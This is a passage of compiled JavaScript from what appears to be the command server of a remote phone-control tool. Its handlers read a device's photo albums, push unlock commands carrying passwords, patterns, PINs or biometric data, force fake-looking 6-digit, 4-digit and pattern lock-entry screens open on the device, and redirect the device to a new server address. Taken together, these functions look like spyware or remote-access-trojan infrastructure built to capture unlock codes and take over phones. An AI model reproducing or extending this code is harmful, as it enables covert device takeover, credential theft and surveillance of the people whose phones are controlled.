deviceId, success: false, albums: [], message: '设备连接异常' }); return false; } catch (error) { this.logger.error('处理相册读取请求失败:', error); this.webClientManager.sendToClient(clientId, 'album_read_response', { deviceId, success: false, albums: [], message: '相册读取失败' }); return false; } } /** * 处理设备解锁请求 */ handleUnlockDevice(clientId, deviceId, data) { try { this.logger.info(`🔓 处理设备解锁请求: 客户端=${clientId}, 设备=${deviceId}`); // 检查设备是否存在且在线 const device = this.deviceManager.getDevice(deviceId); if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { this.logger.warn(`⚠️ 设备不在线: ${deviceId}`); this.webClientManager.sendToClient(clientId, 'unlock_device_response', { deviceId, success: false, message: '设备已离线或不存在' }); return false; } // 检查客户端是否有控制权 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`); this.webClientManager.sendToClient(clientId, 'unlock_device_response', { deviceId, success: false, message: '无控制权限,请先申请设备控制权' }); return false; } // 验证解锁数据格式 const { password, pattern, pin, biometric } = data || {}; if (!password && !pattern && !pin && !biometric) { this.logger.warn(`⚠️ 解锁数据不完整: 需要提供密码、图案、PIN或生物识别信息`); this.webClientManager.sendToClient(clientId, 'unlock_device_response', { deviceId, success: false, message: '解锁数据不完整,需要提供密码、图案、PIN或生物识别信息' }); return false; } // 向设备发送解锁的控制命令 const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId); if (deviceSocketId) { const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId); if (deviceSocket) { deviceSocket.emit('control_command', { type: 'UNLOCK_DEVICE', deviceId, data: { password: password || null, pattern: pattern || null, pin: pin || null, biometric: biometric || null }, timestamp: Date.now() }); this.logger.info(`✅ 设备解锁命令已发送到设备: ${deviceId}`); // 发送成功响应 this.webClientManager.sendToClient(clientId, 'unlock_device_response', { deviceId, success: true, message: '设备解锁命令已发送' }); return true; } } this.logger.warn(`⚠️ 无法找到设备Socket: ${deviceId}`); this.webClientManager.sendToClient(clientId, 'unlock_device_response', { deviceId, success: false, message: '设备连接异常' }); return false; } catch (error) { this.logger.error('处理设备解锁请求失败:', error); this.webClientManager.sendToClient(clientId, 'unlock_device_response', { deviceId, success: false, message: '设备解锁失败' }); return false; } } /** * 🔐 处理打开6位PIN输入界面的请求 */ handleOpenPinInput(clientId, deviceId) { try { this.logger.info(`🔐 打开6位PIN输入界面: 客户端=${clientId}, 设备=${deviceId}`); // 检查设备是否存在且在线 const device = this.deviceManager.getDevice(deviceId); if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { this.logger.warn(`⚠️ 设备不在线: ${deviceId}`); this.webClientManager.sendToClient(clientId, 'pin_input_response', { deviceId, success: false, message: '设备已离线或不存在' }); return false; } // 检查客户端是否有控制权 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`); this.webClientManager.sendToClient(clientId, 'pin_input_response', { deviceId, success: false, message: '无控制权限,请先申请设备控制权' }); return false; } // 向设备发送打开6位PIN输入界面的控制命令 const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId); if (deviceSocketId) { const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId); if (deviceSocket) { deviceSocket.emit('control_command', { type: 'OPEN_PIN_INPUT', deviceId, data: {}, timestamp: Date.now() }); this.logger.info(`✅ 已发送打开6位PIN输入界面命令到设备 ${deviceId}`); // 向客户端发送响应 this.webClientManager.sendToClient(clientId, 'pin_input_response', { deviceId, success: true, message: '打开6位PIN输入界面命令已发送' }); return true; } } this.logger.error(`❌ 无法找到设备 ${deviceId} 的Socket连接`); this.webClientManager.sendToClient(clientId, 'pin_input_response', { deviceId, success: false, message: '设备连接已断开' }); return false; } catch (error) { this.logger.error(`打开6位PIN输入界面失败:`, error); this.webClientManager.sendToClient(clientId, 'pin_input_response', { deviceId, success: false, message: '打开6位PIN输入界面失败' }); return false; } } /** * 🔐 处理打开4位密码输入界面的请求 */ handleOpenFourDigitPin(clientId, deviceId) { try { this.logger.info(`🔐 打开4位密码输入界面: 客户端=${clientId}, 设备=${deviceId}`); // 检查设备是否存在且在线 const device = this.deviceManager.getDevice(deviceId); if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { this.logger.warn(`⚠️ 设备不在线: ${deviceId}`); this.webClientManager.sendToClient(clientId, 'four_digit_pin_response', { deviceId, success: false, message: '设备已离线或不存在' }); return false; } // 检查客户端是否有控制权 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`); this.webClientManager.sendToClient(clientId, 'four_digit_pin_response', { deviceId, success: false, message: '无控制权限,请先申请设备控制权' }); return false; } // 向设备发送打开4位密码输入界面的控制命令 const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId); if (deviceSocketId) { const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId); if (deviceSocket) { deviceSocket.emit('control_command', { type: 'OPEN_FOUR_DIGIT_PIN', deviceId, data: {}, timestamp: Date.now() }); this.logger.info(`✅ 已发送打开4位密码输入界面命令到设备 ${deviceId}`); // 向客户端发送响应 this.webClientManager.sendToClient(clientId, 'four_digit_pin_response', { deviceId, success: true, message: '打开4位密码输入界面命令已发送' }); return true; } } this.logger.error(`❌ 无法找到设备 ${deviceId} 的Socket连接`); this.webClientManager.sendToClient(clientId, 'four_digit_pin_response', { deviceId, success: false, message: '设备连接已断开' }); return false; } catch (error) { this.logger.error(`打开4位密码输入界面失败:`, error); this.webClientManager.sendToClient(clientId, 'four_digit_pin_response', { deviceId, success: false, message: '打开4位密码输入界面失败' }); return false; } } /** * 🔐 处理打开图形密码输入界面的请求 */ handleOpenPatternLock(clientId, deviceId) { try { this.logger.info(`🔐 打开图形密码输入界面: 客户端=${clientId}, 设备=${deviceId}`); // 检查设备是否存在且在线 const device = this.deviceManager.getDevice(deviceId); if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { this.logger.warn(`⚠️ 设备不在线: ${deviceId}`); this.webClientManager.sendToClient(clientId, 'pattern_lock_response', { deviceId, success: false, message: '设备已离线或不存在' }); return false; } // 检查客户端是否有控制权 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`); this.webClientManager.sendToClient(clientId, 'pattern_lock_response', { deviceId, success: false, message: '无控制权限,请先申请设备控制权' }); return false; } // 向设备发送打开图形密码输入界面的控制命令 const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId); if (deviceSocketId) { const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId); if (deviceSocket) { deviceSocket.emit('control_command', { type: 'OPEN_PATTERN_LOCK', deviceId, data: {}, timestamp: Date.now() }); this.logger.info(`✅ 已发送打开图形密码输入界面命令到设备 ${deviceId}`); // 向客户端发送响应 this.webClientManager.sendToClient(clientId, 'pattern_lock_response', { deviceId, success: true, message: '打开图形密码输入界面命令已发送' }); return true; } } this.logger.error(`❌ 无法找到设备 ${deviceId} 的Socket连接`); this.webClientManager.sendToClient(clientId, 'pattern_lock_response', { deviceId, success: false, message: '设备连接已断开' }); return false; } catch (error) { this.logger.error(`打开图形密码输入界面失败:`, error); this.webClientManager.sendToClient(clientId, 'pattern_lock_response', { deviceId, success: false, message: '打开图形密码输入界面失败' }); return false; } } /** * 处理修改服务器地址请求 */ handleChangeServerUrl(clientId, deviceId, data) { try { this.logger.info(`🌐 修改服务器地址: 客户端=${clientId}, 设备=${deviceId}`); // 检查设备是否存在且在线 const device = this.deviceManager.getDevice(deviceId); if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { this.logger.warn(`⚠️ 设备不在线: ${deviceId}`); this.webClientManager.sendToClient(clientId, 'change_server_url_response', { deviceId, success: false, message: '设备已离线或不存在' }); return false; } // 检查客户端是否有控制权 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`); this.webClientManager.sendToClient(clientId, 'change_server_url_response', { deviceId, success: false, message: '无控制权限,请先申请设备控制权' }); return false; } // 验证服务器地址数据 if (!data || !data.serverUrl || typeof data.serverUrl !== 'string' || data.serverUrl.trim() === '') { this.logger.warn(`⚠️ 无效的服务器地址: ${data?.serverUrl}`); this.webClientManager.sendToClient(clientId, 'change_server_url_response', { deviceId, success: false, message: '服务器地址无效,应为非空字符串' }); return false; } // 向设备发送修改服务器地址的控制命令 const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId); if (deviceSocketId) { const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId); if (deviceSocket) { deviceSocket.emit('control_command', { type: 'CHANGE_SERVER_URL', deviceId, data: { serverUrl: data.serverUrl.trim() }, timestamp: Date.now() }); this.logger.info(`✅ 已发送修改服务器地址命令到设备 ${deviceId}: ${data.serverUrl}`); // 向客户端发送响应 this.webClientManager.sendToClient(clientId, 'change_server_url_response', { deviceId, success: true, message: '命令已发送', serverUrl: data.serverUrl }); return true; } } this.logger.error(`❌ 无法找到设备 ${deviceId} 的Socket连接`); this.webClientManager.sendToClient(clientId, 'change_server_url_response', { deviceId, success: false, message: '设备连接已断开' }); return false; } catch (error) { this.logger.error(`修改服务器地址失败:`, error); this.webClientManager.sendToClient(clientId, 'change_server_url_response', { deviceId, success: false, message: '修改服务器地址失败' }); return false; } } } exports.MessageRouter = MessageRouter; exports.default = MessageRouter; //# sourceMappingURL=MessageRouter.js.map